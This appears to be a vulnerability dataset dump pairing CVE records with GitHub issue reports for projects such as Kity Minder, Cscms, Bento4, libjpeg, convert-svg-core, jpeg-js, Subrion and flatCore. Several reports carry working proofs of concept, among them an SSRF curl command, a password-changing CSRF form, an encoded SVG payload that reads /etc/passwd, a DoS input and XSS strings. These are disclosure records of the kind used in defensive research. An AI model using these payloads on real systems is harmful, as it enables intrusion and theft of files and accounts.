Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.119.1:81/export.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
type=xmind&data={"data":{"image":"http://172.16.119.1/testpoc"}}
```
You can also use the following curl command to verify the vulnerability
```
curl -i -s -k -X $'POST' \
-H $'Host: 172.16.119.1:81' -H $'Content-Length: 64' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' \
--data-binary $'type=xmind&data={\"data\":{\"image\":\"http://172.16.119.1/testpoc\"}}' \
$'http://172.16.119.1:81/export.php'
```
| [Vuln] SSRF vulnerability in `init` Function of `ImageCapture.class.php` File (Kity Minder v1.3.5 version) | https://api.github.com/repos/fex-team/kityminder/issues/345/comments | 0 | 2022-05-25T12:23:32Z | 2022-05-25T12:23:32Z | https://github.com/fex-team/kityminder/issues/345 | 1,248,017,752 | 345 | 3,728 |
CVE-2022-30898 | 2022-06-09T19:15:10.643 | A Cross-site request forgery (CSRF) vulnerability in Cscms music portal system v4.2 allows remote attackers to change the administrator's username and password. | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | details
In cscms v4.2 A problem was found in 1
Cross-site request forgery (CSRF) vulnerability in /Cscms_4.2/upload/admin.php/sys/save allow remote attackers to change
administrator's username and password.
Trigger condition: the administrator clicks a malicious link
Cause of vulnerability:
We can find that this script has no anti CSRF mechanism.
Exploit:
Login administrator click URL: http://ip/csrf.html
csrf. html：
```html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.136.136/Cscms_4.2/upload/admin.php/sys/save" method="POST">
<input type="hidden" name="adminname" value="admin" />
<input type="hidden" name="adminpass" value="123" />#The password you want to change here is 123
<input type="hidden" name="sid" value="1" />
<input type="hidden" name="id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
/Cscms_4.2/upload/admin.php/sys/save
administrator click
success
The password has been successfully changed to 123
Repair method:
Join the random token check
| Cross-site request forgery vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/37/comments | 0 | 2022-05-12T08:31:17Z | 2022-05-12T08:40:47Z | https://github.com/chshcms/cscms/issues/37 | 1,233,634,156 | 37 | 3,729 |
CVE-2022-32978 | 2022-06-10T15:15:08.090 | There is an assertion failure in SingleComponentLSScan::ParseMCU in singlecomponentlsscan.cpp in libjpeg before 1.64 via an empty JPEG-LS scan. | {
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] | github.com | [
"thorfdbg",
"libjpeg"
] |
## stack trace
```
─────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff7053859 in __GI_abort () at abort.c:79
#2 0x00007ffff7053729 in __assert_fail_base (fmt=0x7ffff71e9588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0x5555564a4120 <str> "lines > 0", file=0x5555564a4040 <str> "singlecomponentlsscan.cpp", line=100, function=<optimized out>) at assert.c:92
#3 0x00007ffff7064fd6 in __GI___assert_fail (assertion=0x5555564a4120 <str> "lines > 0", file=0x5555564a4040 <str> "singlecomponentlsscan.cpp", line=100, function=0x5555564a4080 <__PRETTY_FUNCTION__._ZN21SingleComponentLSScan8ParseMCUEv> "virtual bool SingleComponentLSScan::ParseMCU()") at assert.c:101
#4 0x00005555558189f0 in SingleComponentLSScan::ParseMCU (this=0x624000002120) at singlecomponentlsscan.cpp:100
#5 0x000055555567a528 in JPEG::ReadInternal (this=<optimized out>, this@entry=0x61b000000098, tags=tags@entry=0x7fffffffd5a0) at jpeg.cpp:345
#6 0x0000555555677709 in JPEG::Read (this=0x61b000000098, tags=0x7fffffffce10) at jpeg.cpp:210
#7 0x000055555560ff53 in Reconstruct (infile=<optimized out>, outfile=<optimized out>, colortrafo=<optimized out>, alpha=<optimized out>, upsample=<optimized out>) at reconstruct.cpp:121
#8 0x00005555555c350e in main (argc=<optimized out>, argv=<optimized out>) at main.cpp:747
#9 0x00007ffff7055083 in __libc_start_main (main=0x5555555bafe0 <main(int, char**)>, argc=3, argv=0x7fffffffe318, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe308) at ../csu/libc-start.c:308
#10 0x00005555555b55ae in _start ()
```
## poc
[poc.zip](https://github.com/thorfdbg/libjpeg/files/8860131/poc.zip)
## reproduce
* run `./jpeg ./poc /dev/null` | Abort in SingleComponentLSScan::ParseMCU | https://api.github.com/repos/thorfdbg/libjpeg/issues/75/comments | 1 | 2022-06-08T09:09:39Z | 2022-06-08T10:59:47Z | https://github.com/thorfdbg/libjpeg/issues/75 | 1,264,435,121 | 75 | 3,730 |
CVE-2022-31285 | 2022-06-10T18:15:08.820 | An issue was discovered in Bento4 1.2. The allocator is out of memory in /Source/C++/Core/Ap4Array.h. | {
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] | github.com | [
"axiomatic-systems",
"Bento4"
] | SUMMARY: AddressSanitizer: allocator is out of memory in /Source/C++/Core/Ap4Array.h:172
- Version
```
$ ./mp42hls
MP4 To HLS File Converter - Version 1.2
(Bento4 Version 1.6.0.0)
(c) 2002-2018 Axiomatic Systems, LLC
```
branch [d02ef82](https://github.com/axiomatic-systems/Bento4/commit/d02ef8230a8fee4904a750eb912521c5f1c74e0b)
- Platform
```
$ gcc --version
gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
$ uname -r
5.13.0-40-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.4 LTS
Release: 20.04
Codename: focal
```
- Steps to reproduce
```
$ mkdir build
$ cd build
$ cmake .. -DCMAKE_CXX_FLAGS="-fsanitize=address -g" -DCMAKE_C_FLAGS="-fsanitize=address -g" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DCMAKE_MODULE_LINKER_FLAGS="-fsanitize=address"
$ make
$ ./mp42hls poc
```
- Asan
```
$ ./mp42hls poc
=================================================================
==2569847==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0x64f7ff3b0 bytes
#0 0x7f4dacc42587 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cc:104
#1 0x55b48862ff7c in AP4_Array<AP4_TrunAtom::Entry>::EnsureCapacity(unsigned int) (/home/wulearn/Bento4/build/mp42hls+0x40af7c)
#2 0x55b48862fcf0 in AP4_Array<AP4_TrunAtom::Entry>::SetItemCount(unsigned int) /home/wulearn/Bento4/Source/C++/Core/Ap4Array.h:210
#3 0x55b48862e470 in AP4_TrunAtom::AP4_TrunAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/wulearn/Bento4/Source/C++/Core/Ap4TrunAtom.cpp:127
#4 0x55b48862de8a in AP4_TrunAtom::Create(unsigned int, AP4_ByteStream&) /home/wulearn/Bento4/Source/C++/Core/Ap4TrunAtom.cpp:51
#5 0x55b4885751ab in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/wulearn/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:438
#6 0x55b488572f7a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/wulearn/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#7 0x55b488572549 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/wulearn/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154
#8 0x55b4885a3392 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/wulearn/Bento4/Source/C++/Core/Ap4File.cpp:104
#9 0x55b4885a2fe0 in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/wulearn/Bento4/Source/C++/Core/Ap4File.cpp:78
#10 0x55b48855db38 in main /home/wulearn/Bento4/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1894
#11 0x7f4dac6190b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
==2569847==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory ../../../../src/libsanitizer/asan/asan_new_delete.cc:104 in operator new(unsigned long)
==2569847==ABORTING
```
poc: [poc.zip](https://github.com/axiomatic-systems/Bento4/files/8646733/poc.zip)
Thanks! | allocator is out of memory in /Source/C++/Core/Ap4Array.h:172 | https://api.github.com/repos/axiomatic-systems/Bento4/issues/702/comments | 0 | 2022-05-08T09:35:50Z | 2022-05-08T09:35:50Z | https://github.com/axiomatic-systems/Bento4/issues/702 | 1,228,840,395 | 702 | 3,731 |
CVE-2022-31287 | 2022-06-10T18:15:08.900 | An issue was discovered in Bento4 v1.2. There is an allocation size request error in /Ap4RtpAtom.cpp. | {
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"axiomatic-systems",
"Bento4"
] | SUMMARY: AddressSanitizer: requested allocation size 0xfffffffffffffffd in /Source/C++/Core/Ap4RtpAtom.cpp:49
- Version
```
$ ./mp42hls
MP4 To HLS File Converter - Version 1.2
(Bento4 Version 1.6.0.0)
(c) 2002-2018 Axiomatic Systems, LLC
```
branch [d02ef82](https://github.com/axiomatic-systems/Bento4/commit/d02ef8230a8fee4904a750eb912521c5f1c74e0b)
- Platform
```
$ gcc --version
gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
$ uname -r
5.13.0-40-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.4 LTS
Release: 20.04
Codename: focal
```
- Steps to reproduce
```
$ mkdir build
$ cd build
$ cmake .. -DCMAKE_CXX_FLAGS="-fsanitize=address -g" -DCMAKE_C_FLAGS="-fsanitize=address -g" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DCMAKE_MODULE_LINKER_FLAGS="-fsanitize=address"
$ make
$ ./mp42hls poc
```
- Asan
```
$ ./mp42hls poc
=================================================================
==2656357==ERROR: AddressSanitizer: requested allocation size 0xfffffffffffffffd (0x800 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
#0 0x7f94774c8787 in operator new[](unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cc:107
#1 0x55c100eee930 in AP4_RtpAtom::AP4_RtpAtom(unsigned int, AP4_ByteStream&) /home/wulearn/Bento4/Source/C++/Core/Ap4RtpAtom.cpp:49
#2 0x55c100e75f4d in AP4_RtpAtom::Create(unsigned int, AP4_ByteStream&) (/home/wulearn/Bento4/build/mp42hls+0x352f4d)
#3 0x55c100e744da in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/wulearn/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:689
#4 0x55c100e70f7a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/wulearn/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#5 0x55c100e70549 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/wulearn/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154
#6 0x55c100ea1392 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/wulearn/Bento4/Source/C++/Core/Ap4File.cpp:104
#7 0x55c100ea0fe0 in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/wulearn/Bento4/Source/C++/Core/Ap4File.cpp:78
#8 0x55c100e5bb38 in main /home/wulearn/Bento4/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1894
#9 0x7f9476e9f0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
==2656357==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big ../../../../src/libsanitizer/asan/asan_new_delete.cc:107 in operator new[](unsigned long)
==2656357==ABORTING
```
poc: [poc.zip](https://github.com/axiomatic-systems/Bento4/files/8646736/poc.zip)
Thanks! | requested allocation size 0xfffffffffffffffd in /Source/C++/Core/Ap4RtpAtom.cpp:49 | https://api.github.com/repos/axiomatic-systems/Bento4/issues/703/comments | 0 | 2022-05-08T09:38:48Z | 2022-05-08T09:38:48Z | https://github.com/axiomatic-systems/Bento4/issues/703 | 1,228,840,962 | 703 | 3,732 |
CVE-2022-24278 | 2022-06-10T20:15:07.950 | The package convert-svg-core before 0.6.4 are vulnerable to Directory Traversal due to improper sanitization of SVG tags. Exploiting this vulnerability is possible by using a specially crafted SVG file. | {
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"source": "nvd@nist.gov",
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}
],
"cvssMetricV30": null,
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},
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}
],
"cvssMetricV40": null
} | [
{
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"tags": [
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"Third Party Advisory"
],
"url": "https://github.com/neocotic/convert-svg/commit/2bbc498c5029238637206661dbac9e44d37d17c5"
},
{
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"tags": [
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"Issue Tracking",
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],
"url": "https://github.com/neocotic/convert-svg/issues/86"
},
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],
"url": "https://github.com/neocotic/convert-svg/pull/87"
},
{
"source": "report@snyk.io",
"tags": [
"Third Party Advisory"
],
"url": "https://snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-2859830"
},
{
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"url": "https://github.com/neocotic/convert-svg/commit/2bbc498c5029238637206661dbac9e44d37d17c5"
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},
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],
"url": "https://github.com/neocotic/convert-svg/pull/87"
},
{
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"tags": [
"Third Party Advisory"
],
"url": "https://snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-2859830"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:convert-svg_project:convert-svg:*:*:*:*:*:node.js:*:*",
"matchCriteriaId": "C11F7D34-0E1C-4343-94BF-E892111688B7",
"versionEndExcluding": "0.6.4",
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}
],
"negate": false,
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}
],
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}
] | [
"22"
] | 22 | https://github.com/neocotic/convert-svg/issues/86 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"neocotic",
"convert-svg"
] | I found the issue from version 0.6.3.
The issue is that it sanitizes svg tag only once time.
so I add another svg tag which is `<svg/>` before the original payload that I used before.
```
const { convert } = require("convert-svg-to-png");
const express = require("express");
const fileSvg = `
<svg/>
<svg height=100 src=x tabindex=0 onfocus=eval(atob(this.id)) id=ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs= autofocus>
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
`;
const app = express();
app.get("/poc", async (req, res) => {
try {
const png = await convert(fileSvg);
res.set("Content-Type", "image/png");
res.send(png);
} catch (e) {
res.send("");
}
});
app.listen(3000, () => {
console.log("started");
});
```
It's still vulnerable to remote code injection with directory traversal vulnerability. | Remote Code Injection vulnerable | https://api.github.com/repos/neocotic/convert-svg/issues/86/comments | 3 | 2022-06-06T17:56:18Z | 2022-06-07T11:06:14Z | https://github.com/neocotic/convert-svg/issues/86 | 1,262,167,185 | 86 | 3,733 |
CVE-2022-24429 | 2022-06-10T20:15:08.067 | The package convert-svg-core before 0.6.3 are vulnerable to Arbitrary Code Injection when using a specially crafted SVG file. An attacker can read arbitrary files from the file system and then show the file content as a converted PNG file. | {
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"availabilityImpact": "PARTIAL",
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"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
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}
],
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},
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},
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}
],
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} | [
{
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"tags": [
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"Third Party Advisory"
],
"url": "https://github.com/neocotic/convert-svg/commit/a43dffaab0f1e419d5be84e2e7356b86ffac3cf1"
},
{
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"tags": [
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],
"url": "https://github.com/neocotic/convert-svg/issues/84"
},
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],
"url": "https://snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-2859212"
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],
"url": "https://github.com/neocotic/convert-svg/issues/84"
},
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"Third Party Advisory"
],
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}
] | [
{
"nodes": [
{
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{
"criteria": "cpe:2.3:a:convert-svg-core_project:convert-svg-core:*:*:*:*:*:node.js:*:*",
"matchCriteriaId": "B6856F04-CBEB-4DF6-84FB-E1893B4A40F2",
"versionEndExcluding": "0.6.3",
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"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
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}
] | [
"94"
] | 94 | https://github.com/neocotic/convert-svg/issues/84 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"neocotic",
"convert-svg"
] | Affected versions of this package are vulnerable to Remote Code Injection. Using a specially crafted SVG file, an attacker could read arbitrary files from the file system and then show the file content as a converted PNG file.
I've tested on 0.6.2 version at the latest version. I've saw that the code patched with removing "onload" attribute at svg tag. But that was not enough to prevent script execution.
I bypass it with "onfocus" attribute with "autofocus" attribute on svg tag. And with many other svg tags for waiting execution of scripts that assigned in onfocus attribute.
Payload
```
const { convert } = require("convert-svg-to-png");
const express = require("express");
const fileSvg = `
<svg src=x tabindex=0 onfocus=eval(atob(this.id)) id=ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs= autofocus>
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#1">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#2">
<svg src="https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/car.svg#3">
`;
const app = express();
app.get("/poc", async (req, res) => {
try {
const png = await convert(fileSvg);
res.set("Content-Type", "image/png");
res.send(png);
} catch (e) {
res.send("");
}
});
app.listen(3000, () => {
console.log("started");
});
```
I checked on the latest version.
Latest version on NPM
| Remote Code Injection vulnerable | https://api.github.com/repos/neocotic/convert-svg/issues/84/comments | 6 | 2022-06-03T05:22:40Z | 2022-06-06T17:52:29Z | https://github.com/neocotic/convert-svg/issues/84 | 1,259,436,415 | 84 | 3,734 |
CVE-2022-25851 | 2022-06-10T20:15:08.173 | The package jpeg-js before 0.4.4 are vulnerable to Denial of Service (DoS) where a particular piece of input will cause to enter an infinite loop and never return. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
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}
],
"cvssMetricV30": null,
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "report@snyk.io",
"type": "Secondary"
},
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},
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"source": "nvd@nist.gov",
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}
],
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} | [
{
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"tags": [
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],
"url": "https://github.com/jpeg-js/jpeg-js/commit/9ccd35fb5f55a6c4f1902ac5b0f270f675750c27"
},
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"url": "https://github.com/jpeg-js/jpeg-js/issues/105"
},
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],
"url": "https://github.com/jpeg-js/jpeg-js/pull/106/"
},
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],
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2860295"
},
{
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"tags": [
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],
"url": "https://snyk.io/vuln/SNYK-JS-JPEGJS-2859218"
},
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},
{
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"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jpeg-js/jpeg-js/issues/105"
},
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"tags": [
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"Third Party Advisory"
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"url": "https://github.com/jpeg-js/jpeg-js/pull/106/"
},
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"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2860295"
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] | 835 | https://github.com/jpeg-js/jpeg-js/issues/105 | [
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] | github.com | [
"jpeg-js",
"jpeg-js"
] | The following input can create a infinite loop inside jpeg-js causing it to never return:
```
const jpeg = require('jpeg-js');
let buf = Buffer.from( 'ffd8ffc1f151d800ff51d800ffdaffde', 'hex' );
jpeg.decode( buf );
```
Based on some preliminary debugging it appears to be related to the following code:
https://github.com/jpeg-js/jpeg-js/blob/b58cc11b29a66f853b4195d31e9e2de6080fcd7a/lib/decoder.js#L579-L589
Here `maxH` and `maxV` are initialized to zero, but since there are no components, the values are never modified, leading to a divide by zero error in the last two line (which set `mcusPerLine` and `mcusPerColumn` to `Infinity`).
These values are later used inside the `decodeAsScan()` function, where the following loop condition never evaluates to false since `mcuExpected` is set to `frame.mcusPerLine * frame.mcusPerColumn` (i.e. `Infinity * Infinity`) at line 292 in `/lib/decoder.js`.
https://github.com/jpeg-js/jpeg-js/blob/b58cc11b29a66f853b4195d31e9e2de6080fcd7a/lib/decoder.js#L297
found using [jsfuzz](https://gitlab.com/gitlab-org/security-products/analyzers/fuzzers/jsfuzz) | jpeg-js DoS (infinite loop) | https://api.github.com/repos/jpeg-js/jpeg-js/issues/105/comments | 1 | 2022-06-02T07:17:55Z | 2022-06-03T14:40:52Z | https://github.com/jpeg-js/jpeg-js/issues/105 | 1,257,791,131 | 105 | 3,735 |
CVE-2021-41502 | 2022-06-11T14:15:11.090 | An issue was discovered in Subrion CMS v4.2.1 There is a stored cross-site scripting (XSS) vulnerability that can execute malicious JavaScript code by modifying the name of the uploaded image, closing the html tag, or adding the onerror attribute. | {
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] | github.com | [
"intelliants",
"subrion"
] | **Affected pages:** xxxxx/blog/
Execute malicious javascript code by modifying the name of the uploaded image to close the html tag or adding the onerror attribute.
**yes:**
**no:**
**detailed steps:**
After publishing a blog with uploaded pictures, click "Edit Blog Entry" to enter the modification page, open Burp Suit and then directly click "save", modify the content of image[file] in the request packet in Burp Suit as the attack code
**payload:**"onerror="alert(/xss/)
**Any member browses the blog page:**
| [XSS!!]When modifying a written blog, you can modify the name of the uploaded picture to cause a stored XSS vulnerability | https://api.github.com/repos/intelliants/subrion/issues/885/comments | 0 | 2021-09-19T07:45:36Z | 2021-09-19T08:18:41Z | https://github.com/intelliants/subrion/issues/885 | 1,000,238,442 | 885 | 3,736 |
CVE-2021-41641 | 2022-06-12T13:15:07.747 | Deno <=1.14.0 file sandbox does not handle symbolic links correctly. When running Deno with specific write access, the Deno.symlink method can be used to gain access to any directory. | {
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When running Deno with specific write access the `Deno.symlink` method can be used to gain access to any directory.
Proof of concept:
https://hackers.report/report/614876917a7b150012836bb8 | [Security] Deno Sandbox Escape | https://api.github.com/repos/denoland/deno/issues/12152/comments | 1 | 2021-09-20T12:46:38Z | 2021-10-29T21:05:56Z | https://github.com/denoland/deno/issues/12152 | 1,000,928,370 | 12,152 | 3,737 |
CVE-2021-40902 | 2022-06-13T13:15:09.797 | flatCore-CMS version 2.0.8 is affected by Cross Site Scripting (XSS) in the "Create New Page" option through the index page. | {
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] | github.com | [
"flatCore",
"flatCore-CMS"
] | **Describe the bug**
Cross Site Scripting (XSS) via save Exclude URLs
**To Reproduce**
Steps to reproduce the behavior:
1. Login to flatcore CMS
2. Click on 'Create new Page' after click 'Index'
3. Insert into a XSS payload in Exclude URLs
4. And XSS save on : http://domain/acp/acp.php?tn=pages&sub=index
**Screenshots**
XSS payload
<script>alert(1)</script>
**Desktop (please complete the following information):**
- OS: all
- Browser : all
- Version : all
**Additional context**
The XSS attack will help the hacker get the login session of other users requiring them to have at least one "Create new Pages" permission.
